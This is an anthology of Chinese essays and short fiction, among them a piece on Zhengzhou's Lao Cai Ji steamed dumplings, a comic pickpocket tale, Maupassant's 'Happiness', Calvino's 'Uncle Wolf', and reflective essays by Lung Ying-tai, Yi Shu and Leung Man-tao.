　　蔡士俊在北京皇宫做菜给皇帝吃，辛亥革命后流落街头，在北京门前开了一小店，卖蒸饺和馄饨，生意兴隆。政局不稳，蔡士俊带了家人投靠河南开封岳母，后来又逃荒到了郑州，创办“京都老蔡记”。

　　厨艺传给他长子蔡永泉，店名愈做愈响。朱德和梅兰芳都是座上客，毛泽东在郑州开会时特地到店里吃蒸饺，大叫：“味道不错，很好。”这句话在文化大革命时变成毒咒，蔡永泉所受之苦不去谈了，但把技艺传给第三代的蔡元顺，经营至今。

　　我到郑州，当然非去“老蔡记”不可，但因其他工作，只有临走的那个早上才有空。该店只在十一点开门，已无时间赶到机场，好在当地友人老金拍胸口：“一句话。”

　　北方人就有这种豪气，说搞掂就死也搞掂它，果然摸上店铺时，蔡元顺已经准备好材料，蒸出一笼笼的饺子。入口，鲜甜无比，是我一生之中吃过最好的蒸饺。回到香港写了一篇东西志之。一年后昨天，接到电话，竟是“京都老蔡记”的第三代传人蔡元顺的声音：“我来了。”一向不太开口说话的他，把电话交给朋友老金。老金说：“店里来了许多香港客，拿了你那篇文章找上门，蔡元顺高兴得不得了，把你当是知音，这次来香港，说特别为你做饺子。”

　　一听大喜，我刚搬家，没安顿好，就借拍档徐胜鹤兄的厨房吧。约好今天一早去九龙城买材料。大师出马，买的东西一定不少，我准备好大菜篮，跟他跑。

　　“蒸笼呢？”我一见到圆脸，身材略胖的蔡元顺就问。“带了。”他说，“面粉？”我们到“新三阳”买，店里说最好的是美国面粉，从蔡元顺的表情看来，知道并不理想，但像书法家，一管秃笔也能写出好字，蔡元顺照收货。

　　再到街市二楼猪肉档。“八二？”蔡元顺问。我上次去他的店问过，应该是七成瘦肉三成肥肉的比例，也许他以为香港人怕肥，所以这么问。“七三。”我说。蔡元顺笑了，知道我尊重他。猪肉不必自己剁，请店里开碎肉机磨出，但要一块姜，和肉一起绞，这是秘诀。为什么不用葱？因为葱苦。

　　“还要些什么？”我一共问了三次。蔡元顺一共也摇了三次头。就那么简单？就那么简单？就那么简单？

　　回到厨房，把面粉加水反复搓揉。这一下学问来了，所花的力气，是我永远付不出的。而且不完全是劲道，刚柔自如，恰到好处，才能出完美的面团。

　　轮到最重要的馅了。把碎肉放在一个大锅里，边打边兑水。打时一阵子缓慢，一阵子猛烈。那只手的旋转比搅拌机更快更有力，啪啪作声。调味只有简单的酱油和麻油。打出来的馅，像肉浆，水分很多。是我看别人做的最显著的不同。

　　蔡元顺开始包饺子了。出来的皮薄到极点，包着大量的馅。因面粉不是惯用的，他只折了七八折。“看书上，你家做的不是坚持着十二折到十三折的吗？”我问。不拘小节，是最大的学问，蔡元顺说：“好吃就是。”

　　马尾松老远从河南郑州带来，比一般针松的叶子更长更粗，用上汤煨过，抹点麻油，铺在蒸笼上。不用一般的布，是因为松叶可以中空将蒸笼和饺子隔开，又不黐底，厚厚地铺了一层，蒸起来却比布易熟。一面包一面蒸，每一笼刚吃完又有一笼上桌，原来蒸的时间不必太久，四分钟已经足够。

　　上桌一看，皮薄如纸，用筷子一夹起，可以看到半透明的饺子皮中的馅，渗满着汤，怎么摇，也摇它不破。香而不腻，又是一餐近来最美味的，非常幸福，也想把这种感觉和大家分享。

　　“到香港来开？”我问。蔡元顺又笑了：“一句话。”想起北方人的爽直和言重如山，他这一句话，一定做到，但是河南郑州的那家老店呢？友人老金代蔡元顺解释：“来香港之前已经想好，交给他妹妹打理。”看样子，各位再过不久，就可以尝到了。

我是个窃贼

阿 · 康帕尼尔

　　“是的，我是个窃贼。”老头伤心地说，“可我一辈子只偷过一次，那是一次最奇特的扒窃，我偷了一个装满钱的钱包。”

　　“这没有什么稀奇的。”我打断了他的话。

　　“请让我说下去。当我把偷到的钱包打开装进自己的衣兜时，我身上的钱并没有增加一个子儿。”

　　“那钱包是空的？”

　　“恰恰相反，里面装满了钞票。”

　　这引起了我的好奇，于是我给他斟了满满的一杯葡萄酒。

　　我就开始讲述自己的经历：“当时，我乘火车从斯米纳到苏萨尔去，那是个匪盗经常出没的地区。我坐的是三等车厢，车厢里除我而外，就只有一个衣衫褴褛、正在酣睡的汉子，他的左脸颊上有一块明显的伤疤。从相貌到衣着，这家伙看起来像一个罪犯。我想换一个车厢，可是车厢之间没有连通的门，于是，我只好硬着头皮单独同这个危险的家伙共处 3 个小时。火车行驶在前不挨村、后不着店的荒野，车上的旅客寥寥无几。在这种环境里，要想杀死一个人，然后把尸体从车窗扔下去，简直是小事一桩。”

　　老头呷了口酒，继续说：“外面的天渐渐黑了下来，我两眼死死盯住车里的警报器。可是，不一会儿我就打起了盹儿。当我迷迷糊糊地睁开眼睛，我不由自主的发出一声惊叫。那的陌生的旅伴正弯腰站在我面前，用那锐利的双眼盯着我，乱蓬蓬的胡须已经触着我的面颊。我吓得一下子蹦起来，想去拉警报器。可是那人却一把抓住我，说：“您不用害怕，我正要请示您允许我坐在您身边，用您的毯子搭一搭我的身子，我感到很冷。”听他这么诚恳地说，我好不容易松了口气，歉疚地挪动了一下身子，让他坐到我身边。

　　“‘是的，’那人说，‘我多么喜欢做一个小偷啊！我的整个性格，所受的教育和成长的环境，都注定我特别适合这一职业。可是……我不能去偷，’”

　　“‘是什么阻止你去偷呢？’我好奇地问。”

　　“‘长着这样一副相貌，我怎么能够去偷呢？无论我走到哪里，大家都提防着我，要是碰巧附近人的东西正好被偷了，不用说，第一个被怀疑的对象就是我。’”

　　“我瞅着他那张窃贼一样的面孔，脑海里闪出了一个鬼主意：我要是试一试把这个不走运的人的钱包偷过来，那将是一个多么精彩的恶作剧啊！于是我不动声色地把手悄悄地伸过去，上帝保佑！几分钟后，窃贼那鼓鼓地钱包就被放进了我右边衣袋。不一会儿，火车停了下来，我的旅伴竟免了我再劳神去换车厢，他站起来对我说：‘我到家了，谢谢您，祝您旅行愉快！’”

　　“我等他下了车，急忙从衣兜里掏出偷来的钱包。一见那钱包，我顿时目瞪口呆：我手里拿的正是我自己的钱包。那家伙趁我听他诉苦的当儿，神不知鬼不觉地把我的钱包偷走了。幸好趁他不注意进，我又把它偷了回来。”

　　“这是我一辈子惟一的偷窃行为。钱包偷到手了，可我的钱并没有因此而增加一分。您看见了吧，我并没有骗你。”

　　老头讲完故事，我附加了几句客套话，站起来大大方方地付了酒钱，转身就走了。我这样做，完全是有原因的：在他向我讲述自己偷窃经历进，我已用我那训练有素的灵巧手指，将他的钱包拈过来装进了自己的衣兜。我急切地想知道那钱包里究竟有多少钱。

　　我相信，老头所说的那种巧遇，这次绝不会重演。我肯定不会从自己的衣兜里掏出自已的钱包来，因为我身上从来不带钱包。拐过一个街角，我把手伸进自己的衣袋。天啊！里面什么也没有！这老家伙太鬼了！他第二次偷回了自己的钱包。

　　第二次？谁知道他自己偷了自己多少回呢？

幸福

莫泊桑（译者：郝运）

　　这是在上灯前喝茶的时候。别墅俯瞰着大海；太阳已经落山，留下满天的红霞，而且好像撒上了一层金粉。地中海上风平浪静，那平坦的海面在即将逝去的日光下闪闪发亮，看上去如同一块其大无比的、光滑的金属板。

　　远远的，在右边，那些锯齿形的山峰在淡红色的晚霞里显露出它们黑魆魆的身影。

　　大家谈到了爱情，议论这个老题目，谈的都是那些老生常谈的事情。黄昏的淡淡的忧郁气氛使谈话变得很温和，使一个个人心情都很激动。“爱情”这个词儿不断地重复出现，时而由一个洪亮的男嗓音说出来，时而由一个轻快的女嗓音说出来，仿佛充满在这间小客厅里，像鸟儿似的飞翔，像幽灵似的盘旋。

　　一个人能够持续不断地爱许多年吗？

　　“是的，”有人这么肯定。

　　“不，”也有人这么断言。

　　他们区别一些不同情况，划清一些界限，举出一些例子。每一个人，不论男女，都充满了回忆，那些使人烦乱的回忆纷至沓来，尽管到了嘴边，却不能说出口，加以引用，因而弄得他们看上去好像十分激动，带着深刻的情绪和强烈的兴趣谈论这件既平凡而又高尚的事——两个人之间的神秘的感情结合。

　　但是突然有一个人，他眼睛望远处，嚷了起来：

　　“啊！瞧，那边，那是什么？”

　　在远在天边的海面上浮现出一团灰色的东西，体积庞大，模糊不清。

　　女人们站起来，困惑不解地望着她们从没见过的这样惊人的东西。

　　有人说：

　　“这是科西嘉岛！每年在某些特殊的气侯条件下，空气清澈透明，没有经常笼罩着远处的那种水蒸气形成的雾霭，就可以看到它两三次。”

　　山脊隐隐约约可以辨认出来，甚至还有人以为看到了山峰上的积雪。这次意外地出现了一个世界，这个从海里钻出来的幽灵使所有的人都感到惊讶，感到不安，几乎还感到了恐惧。那些像哥伦布一样到未经勘探过的海洋去旅行的人，说不定会见到这样的奇景。

　　这时候有一位还没有开过口的老先生说：

　　瞧，这个岛出现在我们面前，好像是为了用它自身来回答我们谈论的问题，使我想起了一件离奇的往事。我曾经在这个岛上看到过一个忠贞不渝的爱情的例子，令人难以置信的幸福的爱情的例子。这是个非常了不起的例子。

　　请各位听听吧：

　　五年以前我到科西嘉去旅行。这个蛮荒的岛屿对我们说来，比美洲还要陌生，还要遥远，虽然在法国的海岸有时候能像今天这样看见它。

　　请你们想象一个还处在混沌状态中的世界吧！除了山就是山，山与山之间是狭窄的沟壑，里面淌着湍急的流水，没有一片平原，只有像巨大的波涛似的花岗岩，和起伏很大的土地，土地上覆盖着灌木林或者栗树林和松树林。这是一块没有耕种过的、荒凉的处女地，虽然有时候也可以看到一个村庄，看上去就像山顶上的一堆岩石。没有农业，没有工业，没有艺术。你永远不会遇到一块加工过的木头、一片雕刻过的石头，永远不会遇到一样纪念品，说明祖先们对优雅美丽的事物的幼稚的或者是高雅的爱好。对迷人的形式的追求，我们称之为艺术；在这块景色壮丽而又严峻的地方，最使人感到惊讶的，正是世代相传的对这种追求的冷漠态度。

　　在意大利，每一座充满杰作的宫殿本身就是一件杰作；大理石、木头、铜、铁、金属和石头都证明了人类的才华；在老房子里放着的那些古老的东西，哪怕是最小的，都显示出这种对美的无比崇高的企求。意大利对我们每个人来说都是神圣的祖国，我们爱它，是因为它向我们展示了，向我们证明了具有创造性的智慧的努力、伟大、威力和胜利。

　　在它的对面正是蛮荒的科西嘉，简直就像还停留在当初刚降生的时代。那儿的人住着粗糙简陋的房子，凡是与自己的生活或者与自己家族的纠纷无关的事，都不关心。他们继续保留着缺少教养的民族的缺点和优点，他们暴躁，好记恨，无意识地残忍凶暴，但是他们也好客，慷慨，忠诚，单纯；他们打开门欢迎每一个过路的人，哪怕是一丁点儿同情他们的表示，他们都愿意用真诚的友谊来报答。

　　唔，我在这个景色壮丽的岛上漫游了一个月，感到好像是到了世界的尽头。没有旅店，没有酒馆，没有公路。你沿着骡子走的小道来到那些挂在半山腰、面临弯弯曲曲的深渊的村庄；到了晚上可以听见从深渊里传上来的连续不断的响声，那是急流的低沉、深长的响声。你敲敲那些房子的大门。你要求让你留宿一夜或供你吃到第二天。你坐下来吃那简单的饭菜。你睡在简陋的房子里。到了早上，你握住主人伸出的手告别，他一直把你送到村边。

　　后来，有一天在走了十个钟头的路程以后，傍晚来到了一所孤零零的小房子跟前。这所房子在一条狭窄的山谷里，山谷在一法里以外通到大海。两道陡峭的山坡上覆满丛林、坍落的岩石和大树，像两堵阴暗的墙锁住这凄凉悲惨的沟壑。

　　茅屋的周围有几株葡萄，一片小园子，再远些有几株高大的栗树；总而言之，吃的有了，对这个穷地方来说这算是一笔财产了。

　　接待我的那个女人已经上了年纪，态度庄严，衣衫整洁，这在当地是少见的。男的坐在一把草椅子上，立起来向我行礼，然后又坐下来，没有说一句话。他的老伴对我说：

　　“请您原谅他；他的耳朵现在聋了。他今年八十二岁。”

　　她说的是纯正的法语。我感到惊奇。

　　我问她：

　　“您不是科西嘉人？”

　　她回答：

　　“不是；我们是大陆上的人。不过我们住在这儿已经有五十年了。”

　　想到在这个远离热闹的城市、凄凄凉凉的角落里度过的这五十个年头，我不由得感到了不安和恐惧。一个老牧羊人回来了，大家开始吃只有一道菜的晚饭，是用土豆、肥肉和白菜放在一起熬的浓汤。

　　这顿简单的饭很快吃完以后，我来到门外坐下，望着阴郁的景色，我的心由于景色的凄凉而揪紧了，出门人在愁闷的傍晚，在荒凉的地方，往往会感到忧伤，我的心里这时也感到了忧伤。就好像生活、世界，一切一切都快要结束了。你突然一下子看见了可怕的人生苦难，离群独居，一无所有，难以忍受的内心孤独，一直到死都靠着梦想来自我安慰和自我欺骗。

　　老妇人来到我跟前。即使是最听天由命的人，心灵深处也还有着好奇心，她正是在这种好奇心的折磨下，问道：

　　“您是从法国来的吗？”

　　“是的，我出来游山玩水。”

　　“您也许是从巴黎来的吧？”

　　“我是从南锡来的。”

　　我觉着她好像非常激动。这一点我是怎样看出或者不如说是怎样感觉出来的，可就说不来了。

　　她慢吞吞地跟着说了一遍：

　　“您是从南锡来的？”

　　那个男的出现在门口，像所有聋子一样，脸上毫无表情。

　　她接着说：

　　“没关系。他听不见。”

　　过了几秒钟以后她又说：

　　“这么说，您认识南锡的人了？”

　　“当然，差不多所有的人我都认识。”

　　“圣阿莱兹家的人认识吗？”

　　“认识，而且很熟，他们是家父的朋友。”

　　“请问您贵姓？”

　　我说了我姓什么。她聚精会神地望着我，然后用回忆起往事时的那种低低的声音说：

　　“对，对，我记起来了。布里瑟玛尔一家子，他们现在怎么样了？”

　　“全都死了。”

　　“啊！西尔蒙一家子，您认识吗？”

　　“认识，最小的一个现在当将军了。”

　　这时候她激动，她苦恼，她有了我也说不清是怎样的一种强烈、神圣的混乱感情，她有了我也说不清是怎样的一种需要，需要承认出来，需要说出一切，需要谈谈她一直闷在心底里的那些事，还有那些提起名字就会扰乱她内心平静的人。因此她浑身哆嗦着说：

　　“是的，亨利·德·西尔蒙，我知道他。他是我的弟弟。”

　　我大吃一惊，抬起头来望着她，猛然间我想起了一件事。

　　从前发生过一件轰动整个洛林贵族阶层的大事。一个年轻姑娘，又美丽，又有钱，叫苏姗娜·德·西尔蒙，被她父亲指挥的那个团里的一个轻骑兵士官拐走了。

　　这个引诱团长女儿的士官，是个英俊的小伙子，虽然是农家子弟，但是穿起骑兵的蓝色短军服显得非常神气。大概是骑兵队伍经过时，她看见了他，注意了他，并且爱上了他。但是她怎么跟他说话，他们又怎么能够见面，互相约定呢？她怎么敢让他明白她爱他呢？这个就从来没有人知道了。

　　没有引起丝毫猜测，也没有引起丝毫怀疑。一天晚上，那个当兵的刚服役期满，就跟她一起不见了。到处寻找他们，但是没有能够找到。从此以后再也没有得到他们的消息，大家都以为她已经死了。

　　没想到我却在这个阴森可怕的山谷里遇到了她。

　　于是轮到我说了：

　　“是的，我记起来了。您是苏姗娜小姐。”

　　她点了点头。泪珠从她的眼睛里滚下来。接着她朝呆坐在茅屋门口的那个老人望望，对我说：

　　“就是他。”

　　我明白了她仍旧爱着他，她仍旧用迷恋的眼光望着他。

　　我问：

　　“至少您过去幸福吧？”

　　她用发自内心深处的声音回答：

　　“啊！是的，很幸福。他曾经使我很幸福。我从来没有后悔过。”

　　我凝视着她，既感到悲哀和意外，也对爱情威力之大感到惊异！这个富贵人家的姑娘跟随了这个男人，这个农民。她自己也变成了一个农民。她接受了他的那种没有魅力、没有奢华、没有任何一种雅致考究的生活，她适应了他的简朴的习惯。她仍旧爱他。她变成了一个戴着便帽、穿着布裙子的乡下女人。她在白木桌子前，坐在草椅子上，用一只瓦盆子吃白菜、土豆加肥猪肉熬的汤。她挨着他睡在一条草垫上。

　　她除了他从来没有想过别的！她并不惋惜首饰、丝绸、优雅、柔软的坐椅、四面张着帷幔的香暖的房间，以及身子钻进去后可以得到舒适的休息的鸭绒被。她除了他什么也不需要；只要有他在身边，她什么也不求了。

　　她年纪轻轻就放弃了生活，放弃了世界和曾经养育过她、爱过她的那些人。她单独一个人跟他来到这个蛮荒的山谷里。对她来说，他就是一切，就是一个人所能要求的一切，所能梦想的一切，所能无限希望的一切。他使得她的一生从开始到结束都充满了幸福。

　　她不可能更幸福了。

　　这一整夜我听着那个老兵的嘶哑鼾声，他躺在简陋的床上，身边是跟着他来到这个如此遥远地方的女人。我一边听一边想着这段离奇而简单的故事，想着这个幸福，它如此充实完美而它的要求又如此之少。

　　太阳出来了，我握过这一对老夫妻的手以后就动身了。

　　说故事的人闭上了嘴。有一个女人说：

　　“不管怎么说，她的理想太鄙下，她的需要太粗俗，她的要求太简单。这只可能是个傻子。”

　　另外一个女人慢吞吞地说：

　　“有什么关系，只要她幸福。”

　　那边，在远远的天边，科西嘉消失在黑夜中，慢慢地回到大海里，抹去了它那巨大的身影，好像刚才是为了亲自来叙述在它岸上居住着的一对谦卑的情人的故事，才特地显露出来的。

狼叔叔

伊塔洛 · 卡尔维诺

　　从前有一个馋嘴的女孩。狂欢节那天，老师跟女孩们说："谁要是做乖孩子，把毛活织完，就给谁炸糕吃。"

　　这个女孩一点也不会织毛活，就向老师请假，假装去洗手间。她把自己关在洗手间里，睡着了。当她回到教室，别的女孩已经把炸糕都吃完了。她哭着回到了家，把学校里发生的事都跟妈妈说了。

　　"别哭了，小可怜。妈妈给你做炸糕吃。"妈妈说。可是家里很穷，炸锅也没有。"你去找狼叔叔，请他把锅借给我们用用。"

　　小女孩来到狼叔叔家门口，"咚、咚！"地敲门。

　　"谁呀？"

　　"是我！"

　　"多少年多少月也没人再来敲这扇门了！你有什么事？"

　　"妈妈叫我来的，向您借一口锅做炸糕。"

　　"等等，让我把衬衣穿上。"

　　"咚、咚！"

　　"等等，让我把裤衩穿上。"

　　"咚、咚！"

　　"等等，让我把长裤穿上。"

　　"咚、咚！"

　　"等等，让我把外衣穿上。"

　　狼叔叔总算把门打开了，递给她一口锅，说："我把锅借给你们，不过你告诉妈妈，还锅的时候，在里面装满一锅炸糕，一个圆面包和一瓶酒。"

　　"好，好，我一定送来。"

　　回到家，妈妈给他做了好多好吃的炸糕，也给狼叔叔留了一锅。天黑之前，她对小女孩说："把这些炸糕给狼叔叔送去，还有一个小圆面包和这瓶酒。"

　　这个小女孩实在嘴馋，一路上就开始闻着炸糕的香味。啊，真香啊！尝一个吧！就这样，一个两个三个，小女孩把炸糕全都吃完了，伴着炸糕，她把圆面包也吃了，为了把炸糕和面包送下肚，她又连酒也全喝了。

　　吃光喝完，小女孩为了装满锅子，就在路上抓了些驴粪团放了进去，又往酒瓶里灌了些脏水。随后，她用一个在路边干活的瓦匠的灰泥揉成了圆面包的形状。到了狼叔叔家，她把这些脏东西都给了他。

　　狼叔叔尝了一个炸糕。"呸！这是驴粪呀！"他马上喝了口酒乡漱掉嘴里的臭味。"呸！这是脏水啊！"他又咬了一口圆面包，"呸！这是灰泥啊！"狼叔叔双眼冒火盯着小女孩，说："今天夜里我要去吃了你！"

　　小女孩跑回家告诉妈妈："今天夜里狼叔叔要来吃了我！"

　　妈妈赶快关好门，关好窗，关好家里所有的漏洞，想阻止狼叔叔进屋，但她忘了把烟囱也关上。

　　到了夜里，小女孩已经上床了，就听到外面传来狼叔叔的声音："我来吃你了！我到你家门口了！"随后听到瓦片上有脚步声："我来吃你了，我到了房顶上！"

　　过了一会，听到一个很大的声响从烟囱上传下来："我来吃你了！我到烟囱里了！"

　　"妈妈，妈妈，狼来了！"

　　”你快藏到被子里去！"

　　"我来吃你了！我到了壁炉里！"

　　小女孩蜷缩在床角，吓得像树叶一样发抖。

　　"我来吃你了！我到了屋里！"

　　小女孩吓得屏住了呼吸。

　　"我来吃你了！我到了床前！啊！我吃到你了！"说着，狼就把小女孩给吃了。

　　就这样，狼叔叔总是吃馋嘴女孩。

慢看

龙应台

　　好友从贵州考察回来，印象最深刻的，竟然是这一幕：他看见数十农人耕种，另外有数十农人蹲在田埂上看这数十人耕种，从日出，到日落，日复一日。学者受不了了──难道一批人工作，需要另一批人监督？他跑到田边去问那蹲着的人：“你们为什么看他们耕作？”

　　蹲着的人仍旧蹲着，抽着烟，眼睛仍旧蒙蒙地看着田里，用浓重的乡音说，“就是看呀。”

　　“为什么看呢？”

　　“没事干啊！”

　　学者明白了。一亩地，那几个人也就够了，其他的人真的没活可干，就到那田埂上，蹲着，可能潜意识里也是一种“同舟共济”的表达吧。

　　蹲着的人们这回转过头来，奇怪地看着他，然后问他为何发此问。

　　香港来的学者倒愣住了。他要怎么回答呢？说，因为蹲在田埂上什么也不做，是一种浪费？说，“没事干”是是是──是件不可想像的事，因为在香港或台湾或新加坡或美国，每个人一辈子都在努力干事，“没事干”是件……是件可怕的事。

　　他要怎么说呢？

　　于是我想起另一个故事，地点是非洲。一个为红十字工作的欧洲人到了非洲某国，每天起床还是维持他的运动习惯：慢跑。

　　他一面跑，一面发现，一个当地人跑过来，跟着他跑，十分关切地问他：“出了什么事？”

　　欧洲人边喘息边说，“没出事。”

　　非洲人万分惊讶地说，“没出事？没出事为什么要跑？

　　这个欧洲人愣住了。他要怎么解释？因为他总是坐在开着冷气或暖气的办公室里头一个开着的电脑前面，他的皮肤很少被阳光照到，他的手很嫩、肩膀很僵硬、腰很酸，因为没有身体的劳动，因此他必须依靠“跑步”来强制他的肌肉运动？他是不是要进一步解释，欧洲人和非洲人，因为都市化的程度不同，所以生活形态不同，所以“跑步”这个东西，呃……不是因为“出了事”。

　　好友在说贵州人蹲一整天没事干，就是抽着烟望向漠漠的田地时，我发现自己的灵魂悠然走神，竟然叹息起来，说，“就是蹲在田埂上看田，唉，真好。”

　　我知道，我在向往一个境界。

　　慢的境界。

　　和华飞走东南亚十五天，出发前就做好了心理调适：慢。

　　当你到了码头，没有一个办公室贴着时刻表，也没有一个人可以用权威的声音告诉你几点可以到达终点，你就上船，然后就找一条看起来最舒服的板凳坐下来，带着从此在此一生一世的心情。你发现你根本不去想何时抵达，连念头都没有。你看那流动的河，静默却显然又隐藏着巨大的爆发力，你看那沙滩上晒太阳的灰色的水牛，你看孩子们从山坡上奔下来，你看阳光在芦苇白头上刷出一丝一丝的金线，你看一个漩涡的条纹，一条一条地数……

　　从琅勃拉邦到吴哥窟的飞机，突然说延误三个小时，人们连动都不动一下。因为预期就是这样，于是你闲适地把机场商店从头到尾看一遍，把每一个金属大象，每一盒香料，每一串项链，每一条丝巾，都拿到手上，看它、触它、嗅它、感觉它。反正就是这样，时间怎么流都可以。任何一个时刻，任何一个地方，都是安身立命的好时刻，好地方。

　　晚明的散文大家张岱，“极爱繁华，好精舍，好美婢，好娈童，好鲜衣，好美食，好骏马，好华灯，好烟火，好梨园，好鼓吹，好古董，好花鸟，兼以茶淫橘虐，书蠹诗魔”。能这样过日子，是因为他把杭州当安身立命之处。明朝覆亡，他脚下的土，也被抽走了。“年至五十，国破家亡，避迹山居。所存者，破床碎几，折鼎病琴，与残书数帙，缺砚一方而已。布衣疏莨，常至断炊。回首二十年前，真如隔世。”

　　我想有一个家，家前有土，土上可种植丝瓜，丝瓜沿竿而爬，迎光开出巨朵黄花，花谢结果，垒累棚上。我就坐在那土地上，看丝瓜身上一粒粒突起的青色疙瘩。

相信不相信

龙应台

　　二十岁之前相信的很多东西，后来一件一件变成不相信。

　　曾经相信过文明的力量，后来知道，原来人的愚昧和野蛮不因文明的进展而消失，只是愚昧野蛮有很多不同的面貌：纯朴的农民工人、深沉的知识份子、自信的政治领袖、替天行道的王师，都可能有不同形式的巨大愚昧和巨大野蛮，而且野蛮和文明之间，竟然只有极其细微、随时可以被抹掉的一线之隔。

　　曾经相信过正义，后来知道，原来同时完全可以存在两种正义，而且彼此抵触，冰火不容。选择其中之一，正义同时就意味着不正义。而且，你绝对看不出，某些人在某一个特定的时机热烈主张某一个特定的正义，其中隐藏着深不可测的不正义。

　　曾经相信过理想主义者，后来知道，理想主义者往往经不起权力的测试：一掌有权力，他或者变成当初自己誓死反对的“邪恶”，或者，他在现实的场域里不堪一击，一下就被弄权者拉下马来，完全没有机会去实现他的理想。理想主义者要有品格，才能不被权力腐化；理想主义者要有能力，才能将理想转化为实践。

　　曾经相信过爱情，后来知道，原来爱情必须转化为亲情才可能持久，但是转化为亲情的爱情，犹如化入杯水中的冰块—它还是冰块吗？

　　曾经相信过海枯石烂作为永恒不灭的表征，后来知道，原来海其实很容易枯，石，原来很容易烂。雨水，很可能不再来，沧海，不会再成桑田。原来，自己脚下所踩的地球，很容易被毁灭。

　　二十岁之前相信的很多东西，有些其实到今天也还相信。

　　譬如国也许不可爱，但是土地和人可以爱。譬如史也许不能信，但是对于真相的追求可以无止尽。譬如文明也许脆弱不堪，但是除文明外我们其实别无依靠。譬如正义也许极为可疑，但是在乎正义比不在乎要安全。譬如理想主义者也许成就不了大事大业，但是没有他们社会一定不一样。譬如爱情总是幻灭的多，但是萤火虫在夜里发光从来就不是为了保持光。譬如海枯石烂的永恒也许不存在，但是如果一粒沙里有一个无穷的宇宙，一刹那里想必也有一个不变不移的时间。

　　那么，有没有什么，是我二十岁前不相信的，现在却信了呢？

　　有的，不过都是些最平凡的老生常谈。曾经不相信“性格决定命运”，现在相信了。曾经不相信“色即是空”，现在相信了。曾经不相信“船到桥头自然直”，现在有点信了。曾经不相信无法实证的事情，现在也还没准备相信，但是，有些无关实证的感觉，我明白了，譬如李叔同圆寂前最后的手书：“君子之交，其淡如水。执象而求，咫尺千里。问余何适，廓尔忘言。华枝春满，天心月圆。”

　　相信与不相信之间，仿佛还有令人沉吟的深度。

　　我们总是在相信与不相信之间挣扎。

对你好

亦舒

　　对方，不需要很有钱，不必英明神武；是否才华盖世，亦不重要；似不似玉树临风，也无所谓。只要他对你好，事事以你为重，普通人已经够好。

　　正如大作家所说：“条件再好，不爱我，有什么用？”

　　物质同客观条件固然非常重要，但到了某一地步，人自然有心灵上的需求。一个懂得尊重对方的伴侣，谈吐幽默，具有生活情趣，又事事体贴，十分不易。

　　见对方能力略有不逮，即舍之而去，是相当不智的做法。世上的确有际遇这回事，要给他机会，也给自己机会，都会遍地黄金，有志者事竞成。

　　成功与欢乐如无人分享，就只剩寂寞。流泪之际，缺少一个结实的肩膀依傍，更凄惶不安。

　　物质与精神均感满足，才是优质生活。不用吃最好住最好穿最好，走出来最威风最神气。

　　崇尚功利是商业社会的至盛风气，无可厚非，有一定要有，优哉游哉。对方若志不在此，实在不必勉强。

　　好伴侣一个鼓励的眼神，一个愉快的笑容，适当安慰，深切了解，均属生活必需。对你好最重要。

　　有人从影数十年，不红，到处诉苦：“我从不迟到，亦不早退早退，听话，公司叫做什么便做什么，至今尚未名成利就，何故？”

　　大有天无眼之感。

　　来红先骄，是致命伤；不红不骄，却不计分。光是不迟到不早退，绝无可能造就一位明星。单单听话、服从，甚至不足以成为一位优秀公务员。

　　做任何一个行业，都得在岗位上有所表现。红、不骄、不迟到、不早退、敬业乐业、有衣食，那才是高手。

　　职业写作人，不脱稿就算尽了责任？非也非也，此乃最基本入行条件，切勿以为天天交稿就是对编者读者恩重如山。内容才是最最重要的一环，能人所不能者，地位才最稳固。稿德稿质，缺一不可。

　　伴侣变了心，常听到有一方哭诉：“我做错了什么？”同样的逻辑：不错，是不够的；有人做得更好，略差的便遭淘汰，理所当然。什么时代了，光是守纪律，便想拿功勋，没有这种事。

清贫与富贵

梁文道

　　我在台湾念小学的时候，有一个同学是军人子弟，他的父亲大概很早就退伍了，所以没有领到太多的长俸和福利，后来务农为生，日子过得很辛苦。虽然贫困，但他家的桌子总是擦得一尘不染，厕所地板亮得反光。每次到他家吃饭，我都震慑于老伯伯一口洪亮的山东腔，以及他那威严的仪容。而他的孩子，我这位同学，尽管一身旧衣早就洗得发白，却永远穿戴得整整齐齐，一丝不苟。最近偶尔忆起童年往事，念及他家那极尽简朴的陈设，窗明几净，堂堂正正，我才赫然想起，这就是古人所说的“清贫”。

　　清贫，也就是贫而不贱，且有一股自重自尊的清气。这种人穷则穷矣，然尊严所在，绝不容人轻视贬抑半分，不食嗟来之食，不以媚色示人，任何人见他，都还得敬他三分。幼年在台，成年在港，我都曾见过不少这种清贫寒士，或者是朝气勃勃的菜园老农，或者是精神抖擞的焊铁工人。他们面目明朗，好像自己正在干一件天下间顶重要的事似的。

　　上个月我与陈丹青先生参加一场活动。活动快开始了，门外还站着一大堆人。陈丹青问场地经理这到底是怎么回事，后者说是为了安全，不能让人人入场。进得会堂，我们发现空间其实多的是，于是陈先生出去交涉，要求放人进来，我则请前排观众一起挪椅子，好腾出位置让其它人有地方站。

　　正当大家开始动手搬座椅之际，现场的保安人员突然用手按住站起来的观众，同时大喝：“干什么！统统不许动，回去！回去！”态度相当粗悍。不论我如何解释，他们亦充耳不闻，场面开始变得有点混乱。然后管理人员闻声而至，看看里头究竟在闹什么。动气的我告诉经理：“你的保安骂人呀！”于是她对着一位保安随手一指：“你！撤！”这时，一位冷静的观众适时指出我的错误：“他并没有骂人。”

　　没错，那位保安的确没开口骂人，他只不过是气势有点凶、语气有点暴罢了。说他骂人，只是我自己实在看不惯。然而，我又怎么会看不惯呢？全国各地，这类保安人员的粗野言行我早就碰到过不知多少回了。他们似乎只有两种态度，不是对着贵客恭敬行礼，就是在需要的时候声色俱厉，几乎没有任何中间地带。

　　又有人提醒我，城里这些保安多半是农村来的民工。我也晓得，他们只是在执行命令。每次遇到问题，他们只能依照上级指示维护“安全”，不敢自己做主变通。因为他们从来不被赋予这种权力，他们的工作就是听话。每次执行任务，他们的方法往往就是高声斥喝越出界限的人群，甚至动手拉扯不守规矩的家伙。除此之外，他们不知道还有其它更加温和的表达方式。因为或许他们自己平常就是被人这样子对待的（我想起了那一声“你！撤！”）。

　　几天之后，我在一家餐馆晚饭，去洗手间的时候路过一间房门半开的包间，里头传来阵阵怒吼。我本能地走慢几步，看见房里一位喝红了脸的人正在痛骂一个低着头的服务生，他叫道：“我这身衣服你赔得起吗？你老板还得叫我大爷呢！你这 XX 混蛋！”我马上就想起那天那一位尽忠职守的保安，不是因为他当时的态度很接近眼前这位“大爷”，而是他的样子很像这个吓得缩起了身子的服务员。

